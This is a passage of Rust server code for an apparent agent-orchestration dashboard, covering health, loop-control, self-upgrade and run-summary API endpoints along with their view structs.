1671 if let Some(lease) = lease.as_deref_mut() {
1672 lease.beat();
1673 }
1674 }
1675 }
1676 }
1677 updater::log_step(
1678 home,
1679 &format!(
1680 "finish_loop: the loop ended after {:.1}s",
1681 waited.elapsed().as_secs_f32()
1682 ),
1683 );
1684}
1685
1686pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1692 match bind {
1693 Bind::Addr(addr) => (*addr, None),
1694 Bind::Auto => match tailscale_ip() {
1695 Ok(ip) => (IpAddr::V4(ip), None),
1696 Err(why) => (
1697 IpAddr::V4(Ipv4Addr::LOCALHOST),
1698 Some(format!(
1699 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1700 local-only and a phone cannot reach it; start Tailscale \
1701 or pass --bind <addr>"
1702 )),
1703 ),
1704 },
1705 }
1706}
1707
1708fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1716 let out = std::process::Command::new("tailscale")
1717 .args(["ip", "-4"])
1718 .quiet()
1719 .output()
1720 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1721 if !out.status.success() {
1722 let why = String::from_utf8_lossy(&out.stderr);
1723 let why = why.trim();
1724 return Err(format!(
1725 "`tailscale ip -4` failed ({}){}",
1726 out.status,
1727 if why.is_empty() {
1728 String::new()
1729 } else {
1730 format!(": {why}")
1731 }
1732 ));
1733 }
1734 String::from_utf8_lossy(&out.stdout)
1735 .lines()
1736 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1737 .find(is_tailnet)
1738 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1739}
1740
1741fn is_tailnet(ip: &Ipv4Addr) -> bool {
1743 let o = ip.octets();
1744 o[0] == 100 && (64..=127).contains(&o[1])
1745}
1746
1747type ApiResult<T> = std::result::Result<T, ApiError>;
1751
1752#[derive(Debug)]
1754struct ApiError {
1755 status: StatusCode,
1756 message: String,
1757}
1758
1759impl ApiError {
1760 fn bad_request(message: impl Into<String>) -> Self {
1762 Self {
1763 status: StatusCode::BAD_REQUEST,
1764 message: message.into(),
1765 }
1766 }
1767
1768 fn not_found(message: impl Into<String>) -> Self {
1770 Self {
1771 status: StatusCode::NOT_FOUND,
1772 message: message.into(),
1773 }
1774 }
1775
1776 fn with_status(mut self, status: StatusCode) -> Self {
1779 self.status = status;
1780 self
1781 }
1782
1783 fn bad_request_from(e: anyhow::Error) -> Self {
1787 Self::bad_request(format!("{e:#}"))
1788 }
1789
1790 fn conflict(message: impl Into<String>) -> Self {
1791 Self {
1792 status: StatusCode::CONFLICT,
1793 message: message.into(),
1794 }
1795 }
1796
1797 fn internal(message: impl Into<String>) -> Self {
1799 Self {
1800 status: StatusCode::INTERNAL_SERVER_ERROR,
1801 message: message.into(),
1802 }
1803 }
1804}
1805
1806impl From<anyhow::Error> for ApiError {
1807 fn from(e: anyhow::Error) -> Self {
1812 Self::internal(format!("{e:#}"))
1813 }
1814}
1815
1816impl IntoResponse for ApiError {
1817 fn into_response(self) -> Response {
1818 let body = serde_json::json!({ "error": self.message });
1819 (self.status, Json(body)).into_response()
1820 }
1821}
1822
1823async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1832where
1833 T: Send + 'static,
1834{
1835 #[cfg(test)]
1836 let job = request_cost::carry(job);
1837 match tokio::task::spawn_blocking(job).await {
1838 Ok(result) => result,
1839 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1840 }
1841}
1842
1843const ASSET_CACHE: &str = "no-cache, must-revalidate";
1861
1862fn asset_etag() -> &'static str {
1869 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1870 format!(
1871 "\"{}-{}\"",
1872 env!("CARGO_PKG_VERSION"),
1873 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1878 )
1879 });
1880 &TAG
1881}
1882
1883fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1885 [
1886 (header::CONTENT_TYPE, mime),
1887 (header::CACHE_CONTROL, ASSET_CACHE),
1888 (header::ETAG, asset_etag()),
1889 ]
1890}
1891
1892fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1900 let tag = asset_etag();
1901 let known = headers
1902 .get(header::IF_NONE_MATCH)
1903 .and_then(|v| v.to_str().ok())
1904 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1908 if known {
1909 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1910 }
1911 (asset_headers(mime), body).into_response()
1912}
1913
1914async fn index(headers: header::HeaderMap) -> Response {
1915 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1916}
1917
1918async fn app_css(headers: header::HeaderMap) -> Response {
1919 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1920}
1921
1922async fn app_js(headers: header::HeaderMap) -> Response {
1923 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1924}
1925
1926#[derive(Debug, Serialize)]
1928struct HealthView {
1929 version: &'static str,
1930 home: String,
1931 queue_rev: u64,
1932 runs_rev: u64,
1933 questions_rev: u64,
1945 talks_rev: u64,
1947 notifications_rev: u64,
1949 notifications_unread: usize,
1952 loop_rev: u64,
1957 runs_unreadable: usize,
1965 disk: DiskView,
1973 questions_open: usize,
1979 questions_needs_owner: usize,
1989 daemon: DaemonView,
1990 #[serde(rename = "loop")]
1996 looping: LoopView,
1997 update: UpdateView,
2004 upgrade: Option<UpgradeProgressView>,
2008}
2009
2010#[derive(Debug, Serialize)]
2017struct UpdateView {
2018 available: bool,
2020 to: Option<String>,
2022}
2023
2024#[derive(Debug, Serialize)]
2026struct UpgradeProgressView {
2027 stage: updater::Stage,
2028 from: String,
2029 to: Option<String>,
2030 waiting_on: Option<String>,
2033 started_at: Timestamp,
2034 updated_at: Timestamp,
2035 detail: Option<String>,
2036 stuck_for_secs: Option<i64>,
2039 stuck_kind: Option<updater::StallKind>,
2042 handover_alive: bool,
2045}
2046
2047fn should_spawn_recheck(cfg: &Update) -> bool {
2054 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2055}
2056
2057fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2069 if progress.is_some_and(|p| !p.stage.terminal()) {
2070 return false;
2071 }
2072 checker.should_check()
2073}
2074
2075fn recheck_poll_period(cfg: &Update) -> Duration {
2088 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2089}
2090
2091async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2115 loop {
2116 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2117 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2118 if !should_spawn_recheck(&cfg.update) {
2119 continue;
2120 }
2121 let Some(checker) = updater::Checker::new(&cfg.update) else {
2122 continue;
2123 };
2124 let progress = updater::read_progress(&home);
2125 if !update_recheck_due(&checker, progress.as_ref()) {
2126 continue;
2127 }
2128 if let Err(e) = checker.newer_release().await {
2129 tracing::warn!("background update recheck failed: {e:#}");
2130 }
2131 }
2132}
2133
2134fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2140 let default;
2141 let cfg = match cfg {
2142 Some(cfg) => cfg,
2143 None => {
2144 default = Config::default();
2145 &default
2146 }
2147 };
2148 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2149 match latest {
2150 Some(latest) => UpdateView {
2151 available: true,
2152 to: Some(latest.tag_name),
2153 },
2154 None => UpdateView {
2155 available: false,
2156 to: None,
2157 },
2158 }
2159}
2160
2161fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2167 let now = Timestamp::now();
2168 let lease = updater::read_lease(&ui.home);
2169 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2170 let run_id = alive
2171 .and_then(|l| l.parked_run.as_deref())
2172 .or(progress.parked_run.as_deref());
2173 let parking = progress.stage == updater::Stage::Parking;
2174 let waited = alive.map_or_else(String::new, |l| {
2175 let secs = updater::waited_secs(l, now);
2176 format!(" (waited {} min so far)", secs / 60)
2177 });
2178 let run_text = run_id
2179 .filter(|_| parking)
2180 .map(|id| match read_run(&ui.runs, id).ok() {
2181 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2182 None => format!("run {id} is finishing"),
2183 });
2184 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2185 .filter(|t| parking && !t.is_empty())
2186 .map(|t| format!("{t} finishing"));
2187 let waiting_on = match (run_text, talks_text) {
2188 (None, None) => None,
2189 (run, talks) => {
2190 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2191 Some(format!(
2192 "{} before the address is handed over{waited}",
2193 parts.join(" and ")
2194 ))
2195 }
2196 };
2197 let detail = progress
2198 .detail
2199 .clone()
2200 .or_else(|| updater::read_note(&ui.home, &progress));
2201 let stalled = updater::stall(&progress, lease.as_ref(), now);
2202 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2203 UpgradeProgressView {
2204 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2205 stuck_kind: stalled.map(|s| s.kind),
2206 handover_alive: alive.is_some(),
2207 stage: progress.stage,
2208 from: progress.from,
2209 to: progress.to,
2210 waiting_on,
2211 started_at: progress.started_at,
2212 updated_at: progress.updated_at,
2213 detail,
2214 }
2215}
2216
2217#[derive(Debug, Serialize)]
2222struct DiskView {
2223 #[serde(skip_serializing_if = "Option::is_none")]
2225 free_bytes: Option<u64>,
2226 runs_bytes: u64,
2228 worktrees_bytes: u64,
2230 #[serde(skip_serializing_if = "Option::is_none")]
2232 cache_bytes: Option<u64>,
2233}
2234
2235impl DiskView {
2236 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2238 let cache_bytes = cfg
2239 .and_then(|cfg| cfg.cache_dir())
2240 .map(|dir| crate::disk::dir_size(&dir));
2241 Self {
2242 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2243 runs_bytes: crate::disk::dir_size(&ui.runs),
2244 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2245 cache_bytes,
2246 }
2247 }
2248}
2249
2250#[derive(Debug, Serialize)]
2252struct DaemonView {
2253 running: bool,
2254 idle: Option<bool>,
2255 pid: Option<u32>,
2256 current: Vec<daemon::Current>,
2260 completed: Option<u64>,
2261 stale_for_secs: Option<i64>,
2262}
2263
2264impl DaemonView {
2265 fn of(status: Option<daemon::Reading>) -> Self {
2269 let Some(status) = status else {
2270 return Self {
2271 running: false,
2272 idle: None,
2273 pid: None,
2274 current: Vec::new(),
2275 completed: None,
2276 stale_for_secs: None,
2277 };
2278 };
2279 let now = Timestamp::now();
2280 let age = status.age_secs(now);
2281 Self {
2282 running: status.running(now),
2283 idle: Some(status.idle),
2284 pid: status.pid,
2285 current: status.current,
2286 completed: Some(status.completed),
2287 stale_for_secs: age,
2288 }
2289 }
2290}
2291
2292async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2293 blocking(move || {
2294 let reading = daemon::read_status(&ui.home);
2298 let loop_rev = ui.lock_loop().rev;
2302 let cfg = deputy_config(&ui.repo);
2305 let update = cached_update_view(cfg.as_ref());
2306 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2307 Ok(Json(HealthView {
2308 version: env!("CARGO_PKG_VERSION"),
2309 home: ui.home.display().to_string(),
2310 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2311 runs_rev: runs_revision(&ui.runs),
2312 questions_rev: ui.questions.revision(),
2313 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2314 notifications_rev: ui.notices.revision(),
2315 notifications_unread: ui.notices.count_unread(),
2316 loop_rev,
2317 runs_unreadable: runs_unreadable(&ui.runs),
2318 questions_open: ui.questions.count_open(),
2319 questions_needs_owner: ui.questions.count_needs_owner(),
2320 daemon: DaemonView::of(reading.clone()),
2321 looping: ui.loop_view(reading),
2322 disk: DiskView::of(&ui, cfg.as_ref()),
2323 update,
2324 upgrade,
2325 }))
2326 })
2327 .await
2328}
2329
2330#[derive(Debug, Serialize)]
2332struct LoopView {
2333 running: bool,
2335 stopping: bool,
2343 parking: bool,
2351 owned: bool,
2359 repo: String,
2362 merge: Option<String>,
2365 last_error: Option<String>,
2373 daemon: DaemonView,
2376}
2377
2378#[derive(Debug, Clone, Copy)]
2387struct Foreign {
2388 pid: Option<u32>,
2390}
2391
2392impl Foreign {
2393 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2396 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2400 }
2401
2402 fn who(&self) -> String {
2405 match self.pid {
2406 Some(pid) => format!("another magi process (pid {pid})"),
2407 None => "another magi process".to_owned(),
2408 }
2409 }
2410}
2411
2412type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2417
2418fn launch_daemon(
2420 opts: daemon::Opts,
2421 stop: daemon::Stop,
2422) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2423 Box::pin(daemon::serve_until(opts, stop))
2424}
2425
2426#[derive(Debug, Default)]
2428struct LoopState {
2429 live: Option<Live>,
2431 rev: u64,
2439 last_error: Option<String>,
2442 resume_after_handover: bool,
2447}
2448
2449#[derive(Debug)]
2451struct Live {
2452 stop: daemon::Stop,
2454 handle: tokio::task::JoinHandle<()>,
2459 opts: daemon::Opts,
2463}
2464
2465impl Live {
2466 fn alive(&self) -> bool {
2468 !self.handle.is_finished()
2469 }
2470}
2471
2472fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2479 state.lock().unwrap_or_else(PoisonError::into_inner)
2480}
2481
2482async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2484 blocking(move || {
2485 let reading = daemon::read_status(&ui.home);
2486 Ok(Json(ui.loop_view(reading)))
2487 })
2488 .await
2489}
2490
2491#[derive(Debug, Deserialize)]
2497#[serde(deny_unknown_fields)]
2498struct LoopCommand {
2499 running: bool,
2500 #[serde(default)]
2510 park: bool,
2511}
2512
2513async fn loop_post(
2521 State(ui): State<Arc<Ui>>,
2522 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2523) -> ApiResult<Json<LoopView>> {
2524 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2527 blocking(move || {
2528 let reading = daemon::read_status(&ui.home);
2529 let foreign = Foreign::of(reading.as_ref());
2530 if body.running {
2531 ui.start_loop(foreign)?;
2532 } else {
2533 ui.stop_loop(foreign, body.park)?;
2534 }
2535 Ok(Json(ui.loop_view(reading)))
2536 })
2537 .await
2538}
2539
2540#[derive(Debug, Serialize)]
2542struct UpgradeView {
2543 from: String,
2545 to: Option<String>,
2547 parked: Option<String>,
2549 detail: String,
2551}
2552
2553fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2556 progress.filter(|p| !p.stage.terminal())
2557}
2558
2559async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2583 let reading = daemon::read_status(&ui.home);
2584 if let Some(other) = Foreign::of(reading.as_ref()) {
2585 return Err(ApiError::conflict(format!(
2586 "the loop belongs to {}, so replacing this binary would leave \
2587 that process running an old one against the same queue. Upgrade \
2588 where it was started.",
2589 other.who()
2590 )));
2591 }
2592
2593 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2598 return Err(ApiError::conflict(
2599 "another request is already preparing an upgrade",
2600 ));
2601 };
2602 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2603 return Err(ApiError::conflict(
2604 "an upgrade is already in progress (this process started one and it \
2605 has not finished or failed yet)",
2606 ));
2607 }
2608 let recorded = updater::read_progress(&ui.home);
2609 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2610 return Err(ApiError::conflict(format!(
2611 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2612 stays stuck, restart the deck; on start it settles a stale record.",
2613 p.stage.as_str(),
2614 p.from,
2615 p.to.as_deref().unwrap_or("?"),
2616 )));
2617 }
2618
2619 if crate::updater::disabled_by_env() {
2625 return Ok((
2626 StatusCode::OK,
2627 Json(UpgradeView {
2628 from: env!("CARGO_PKG_VERSION").to_owned(),
2629 to: None,
2630 parked: None,
2631 detail: format!(
2632 "Automatic updates are disabled by {}. Nothing was parked \
2633 and nothing restarted.",
2634 crate::updater::NO_AUTOUPDATE_ENV
2635 ),
2636 }),
2637 ));
2638 }
2639
2640 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2645 let from = env!("CARGO_PKG_VERSION").to_owned();
2646 let latest = match crate::updater::Checker::new(&cfg.update) {
2647 Some(checker) => checker
2648 .newer_release()
2649 .await
2650 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2651 None => None,
2652 };
2653 let Some(latest) = latest else {
2654 return Ok((
2655 StatusCode::OK,
2656 Json(UpgradeView {
2657 from,
2658 to: None,
2659 parked: None,
2660 detail: "Already on the newest release. Nothing was parked \
2661 and nothing restarted."
2662 .to_owned(),
2663 }),
2664 ));
2665 };
2666
2667 let parked = ui.park_for_upgrade()?;
2670 let detail = match &parked {
2671 Some(run) => format!(
2676 "Run {} is parking at its next step, which can take as long as \
2677 the step it is on - up to an hour for an implement wave. The \
2678 deck replaces itself once it parks, comes back, and the loop \
2679 carries that run on from where it stopped. Nothing is lost if \
2680 you close this.",
2681 crate::run::short_of(run)
2682 ),
2683 None => "The deck replaces itself and comes back. Nothing was in \
2684 flight to park."
2685 .to_owned(),
2686 };
2687
2688 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2692 progress.parked_run = parked.clone();
2693 updater::write_progress_logged(&ui.home, &progress);
2697
2698 let home = ui.home.clone();
2699 let looping = ui.looping();
2700 ui.upgrade_spawned
2701 .store(true, std::sync::atomic::Ordering::SeqCst);
2702 let spawned = Arc::clone(&ui.upgrade_spawned);
2703 tokio::spawn(async move {
2704 if let Err(e) = upgrade_and_restart(home.clone()).await {
2705 tracing::error!("the upgrade did not complete: {e:#}");
2706 lock_or_recover(&looping).resume_after_handover = false;
2707 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2711 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2714 }
2715 });
2716
2717 Ok((
2718 StatusCode::ACCEPTED,
2719 Json(UpgradeView {
2720 from,
2721 to: Some(latest.tag_name),
2722 parked,
2723 detail,
2724 }),
2725 ))
2726}
2727
2728async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2733 crate::updater::run_self_update(true, false, true).await?;
2736 updater::log_step(&home, "binary replaced - recording the replaced stage");
2737 if let Some(mut progress) = updater::read_progress(&home) {
2738 progress.advance(updater::Stage::Replaced);
2739 updater::write_progress_logged(&home, &progress);
2740 }
2741 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2742 HANDOVER.notify_one();
2743 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2744 Ok(())
2745}
2746
2747#[derive(Debug, Serialize)]
2753struct RunSummary {
2754 id: String,
2755 short: String,
2756 status: String,
2757 done: bool,
2758 instruction: String,
2759 title: String,
2760 repo: String,
2761 repo_name: String,
2762 created_at: String,
2763 updated_at: String,
2764 candidates: usize,
2765 viable: usize,
2766 judges: usize,
2767 winner: Option<char>,
2768 reviews: usize,
2769 quota_losses: usize,
2770 event: Option<String>,
2771 superseded_by: Option<String>,
2776 waiting: bool,
2783 live: crate::run::Liveness,
2787 pr: Option<crate::run::PrRecord>,
2789 unmerged_by_design: bool,
2795 #[serde(default)]
2798 display_status: String,
2799 origin_label: String,
2802}
2803
2804impl RunSummary {
2805 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2806 Self {
2807 id: state.id.clone(),
2808 short: state.short().to_owned(),
2809 status: status_word(state.status),
2810 done: state.status.done(),
2811 unmerged_by_design: state.unmerged_by_design(),
2812 display_status: run_display_status(state, waiting, live),
2813 instruction: state.instruction.clone(),
2814 title: title_from(&state.instruction, TITLE_MAX),
2815 repo: state.repo.display().to_string(),
2816 repo_name: state
2817 .repo
2818 .file_name()
2819 .map(|n| n.to_string_lossy().into_owned())
2820 .unwrap_or_default(),
2821 created_at: state.created_at.to_string(),
2822 updated_at: state.updated_at.to_string(),
2823 candidates: state.candidates.len(),
2824 viable: state.viable().len(),
2825 judges: state.config.graph.judges,
2826 winner: state.winner().map(|c| c.label),
2827 reviews: state.reviews.len(),
2828 quota_losses: state.quota.len(),
2829 event: state.events.last().map(|e| e.message.clone()),
2830 waiting,
2831 live,
2832 superseded_by: None,
2835 pr: state.pr.clone(),
2836 origin_label: crate::run::origin_label(state.origin.as_ref()),
2837 }
2838 }
2839}
2840
2841fn status_word(status: RunStatus) -> String {
2844 status.as_str().to_owned()
2848}
2849
2850fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2856 if waiting {
2857 return "waiting".to_owned();
2858 }
2859 if state.unmerged_by_design() {
2860 return "unmerged".to_owned();
2861 }
2862 if !state.status.done() && live == crate::run::Liveness::Dead {
2863 if state.parked {
2866 return "parked".to_owned();
2867 }
2868 return "stale".to_owned();
2869 }
2870 status_word(state.status)
2871}
2872
2873#[derive(Debug, Deserialize)]
2875struct ListQuery {
2876 #[serde(default)]
2877 limit: Option<usize>,
2878 ids: Option<String>,
2880}
2881
2882impl ListQuery {
2883 fn contains(&self, id: &str) -> bool {
2884 self.ids
2885 .as_ref()
2886 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2887 }
2888}
2889
2890async fn runs_list(
2891 State(ui): State<Arc<Ui>>,
2892 Query(q): Query<ListQuery>,
2893) -> ApiResult<Json<Vec<RunSummary>>> {
2894 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2895 blocking(move || {
2896 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2897 let states = run_ids(&ui.runs)
2898 .into_iter()
2899 .filter_map(|id| read_run(&ui.runs, &id).ok())
2904 .take(limit)
2905 .filter(|run| q.contains(&run.id));
2906 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2907 let summaries = summarize(
2908 states,
2909 &open_runs,
2910 &claimed,
2911 &superseded,
2912 |p| probe.borrow_mut().status(p),
2913 |p| probe.borrow_mut().started_at(p),
2914 );
2915 Ok(Json(summaries))
2916 })
2917 .await
2918}
2919
2920fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2925 let open_runs: HashSet<String> = ui
2926 .questions
2927 .list()
2928 .into_iter()
2929 .filter(|q| q.status.open())
2930 .map(|q| q.run)
2931 .collect();
2932 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2933 .into_iter()
2934 .map(|c| c.run)
2935 .collect();
2936 (open_runs, claimed, ui.queue.superseded())
2937}
2938
2939fn summarize<I, S, D>(
2945 states: I,
2946 open_runs: &HashSet<String>,
2947 claimed: &HashSet<String>,
2948 superseded: &HashMap<String, String>,
2949 mut status_q: S,
2950 mut identity_q: D,
2951) -> Vec<RunSummary>
2952where
2953 I: IntoIterator<Item = RunState>,
2954 S: FnMut(u32) -> Option<bool>,
2955 D: FnMut(u32) -> Option<String>,
2956{
2957 states
2958 .into_iter()
2959 .map(|state| {
2960 let waiting = open_runs.contains(&state.id);
2961 let live =
2962 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2963 let mut row = RunSummary::of(&state, waiting, live);
2964 row.superseded_by = state
2965 .pr_taken_over_by
2966 .as_ref()
2967 .or_else(|| superseded.get(&state.id))
2968 .map(String::as_str)
2969 .map(crate::run::short_of)
2970 .map(str::to_owned);
2971 row
2972 })
2973 .collect()
2974}
2975
2976#[derive(Debug, Serialize)]
2983struct RunDetailView {
2984 #[serde(flatten)]
2985 state: RunState,
2986 instruction_md: Vec<md::Node>,
2987 #[serde(flatten)]
2991 prose_md: RunProseMd,
2992 live: crate::run::Liveness,
3007 unmerged_by_design: bool,
3012 #[serde(default)]
3014 waiting: bool,
3015 #[serde(default)]
3017 display_status: String,
3018 done: bool,
3023 superseded_by: Option<String>,
3031 latest_attempt: Option<LatestAttempt>,
3045 task: Option<TaskRef>,
3048 origin_label: String,
3052}
3053
3054#[derive(Debug, Serialize)]
3056struct TaskRef {
3057 id: String,
3058 short: String,
3059 title: String,
3060 source_label: String,
3062 source_link: Option<SourceLink>,
3064 status: &'static str,
3066 attempts: usize,
3067 max_attempts: usize,
3068 is_latest: bool,
3070 latest: Option<RunBrief>,
3072 finished_by: Option<RunBrief>,
3074 closed_by_hand: bool,
3076}
3077
3078#[derive(Debug, PartialEq, Eq, Serialize)]
3080struct SourceLink {
3081 kind: &'static str,
3083 id: String,
3085 href: String,
3087}
3088
3089fn encode_segment(raw: &str) -> String {
3091 let mut out = String::with_capacity(raw.len());
3092 for b in raw.bytes() {
3093 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3094 out.push(b as char);
3095 } else {
3096 out.push_str(&format!("%{b:02X}"));
3097 }
3098 }
3099 out
3100}
3101
3102fn source_link(source: &Source) -> Option<SourceLink> {
3106 let Source::Agent { run, node } = source else {
3107 return None;
3108 };
3109 let (kind, route) = if node == crate::queue::CHAT_NODE {
3110 ("chat", "chat")
3111 } else {
3112 ("run", "runs")
3113 };
3114 Some(SourceLink {
3115 kind,
3116 id: run.clone(),
3117 href: format!("#/{route}/{}", encode_segment(run)),
3118 })
3119}
3120
3121#[derive(Debug, Serialize, PartialEq)]
3123struct FollowUpParent {
3124 id: String,
3125 short: String,
3126 title: String,
3127 status: &'static str,
3129 href: String,
3130}
3131
3132#[derive(Debug, Serialize, PartialEq)]
3134struct FollowUpRun {
3135 id: String,
3136 short: String,
3137 status: Option<&'static str>,
3139 href: Option<String>,
3141}
3142
3143#[derive(Debug, Serialize, PartialEq)]
3146struct FollowUpOrigin {
3147 parent: Option<FollowUpParent>,
3149 run: FollowUpRun,
3150 pr: String,
3155 findings: Vec<String>,
3156 generation: u32,
3157}
3158
3159fn followup_origin(
3162 fu: &crate::queue::FollowUp,
3163 task: impl Fn(&str) -> Option<Task>,
3164 run: impl Fn(&str) -> Option<RunState>,
3165) -> FollowUpOrigin {
3166 let parent = fu
3167 .origin_task
3168 .as_deref()
3169 .and_then(task)
3170 .map(|t| FollowUpParent {
3171 short: t.short().to_owned(),
3172 href: format!("#/tasks/{}", encode_segment(&t.id)),
3173 status: t.status.as_str(),
3174 title: t.title,
3175 id: t.id,
3176 });
3177 let state = run(&fu.run);
3178 FollowUpOrigin {
3179 parent,
3180 run: FollowUpRun {
3181 short: run::short_of(&fu.run).to_owned(),
3182 status: state.as_ref().map(|s| s.status.as_str()),
3183 href: state
3184 .is_some()
3185 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3186 id: fu.run.clone(),
3187 },
3188 pr: fu.pr.clone(),
3189 findings: fu.findings.clone(),
3190 generation: fu.generation,
3191 }
3192}
3193
3194#[derive(Debug, Serialize)]
3196struct RunBrief {
3197 id: String,
3198 short: String,
3199 status: Option<&'static str>,
3201 outcome: String,
3203}
3204
3205fn task_outcome(
3208 task: &Task,
3209 this_run: &str,
3210 max_attempts: usize,
3211 read: impl Fn(&str) -> Option<RunState>,
3212) -> TaskRef {
3213 let history = task_history(task, read);
3214 let brief = |h: &TaskRunView| RunBrief {
3215 id: h.id.clone(),
3216 short: h.short.clone(),
3217 status: h.status,
3218 outcome: h.exit.edge_label(h.status),
3219 };
3220 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3221 let latest = if is_latest {
3222 None
3223 } else {
3224 history.last().map(brief)
3225 };
3226 let done = task.status == TaskStatus::Done;
3227 let finished_by = done
3228 .then(|| {
3229 history
3230 .iter()
3231 .rev()
3232 .find(|h| {
3233 matches!(
3234 h.exit,
3235 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3236 )
3237 })
3238 .map(brief)
3239 })
3240 .flatten();
3241 TaskRef {
3242 short: task.short().to_owned(),
3243 title: task.title.clone(),
3244 id: task.id.clone(),
3245 source_label: task.source.label(),
3246 source_link: source_link(&task.source),
3247 status: task.status.as_str(),
3248 attempts: task.attempts,
3249 max_attempts,
3250 is_latest,
3251 latest,
3252 closed_by_hand: done && finished_by.is_none(),
3253 finished_by,
3254 }
3255}
3256
3257#[derive(Debug, Serialize)]
3259struct LatestAttempt {
3260 id: String,
3261 short: String,
3262 resolved: bool,
3273 status: RunStatus,
3276 done: bool,
3278}
3279
3280#[derive(Debug, Default, Serialize)]
3282struct RunProseMd {
3283 advice_md: Option<AdviceMd>,
3285 candidate_summaries_md: Vec<Vec<md::Node>>,
3287 reviews_md: Vec<RoundMd>,
3289}
3290
3291#[derive(Debug, Default, Serialize)]
3292struct AdviceMd {
3293 synthesis: Vec<md::Node>,
3294 approaches: Vec<Vec<md::Node>>,
3296}
3297
3298#[derive(Debug, Default, Serialize)]
3299struct RoundMd {
3300 reviewers: Vec<ReviewerMd>,
3302 reconsideration: Vec<Vec<md::Node>>,
3304 fix: Option<FixMd>,
3305}
3306
3307#[derive(Debug, Default, Serialize)]
3308struct ReviewerMd {
3309 summary: Vec<md::Node>,
3310 findings: Vec<Vec<md::Node>>,
3312}
3313
3314#[derive(Debug, Default, Serialize)]
3315struct FixMd {
3316 notes: Vec<md::Node>,
3317 rejected: Vec<Vec<md::Node>>,
3319}
3320
3321fn run_prose_md(state: &RunState) -> RunProseMd {
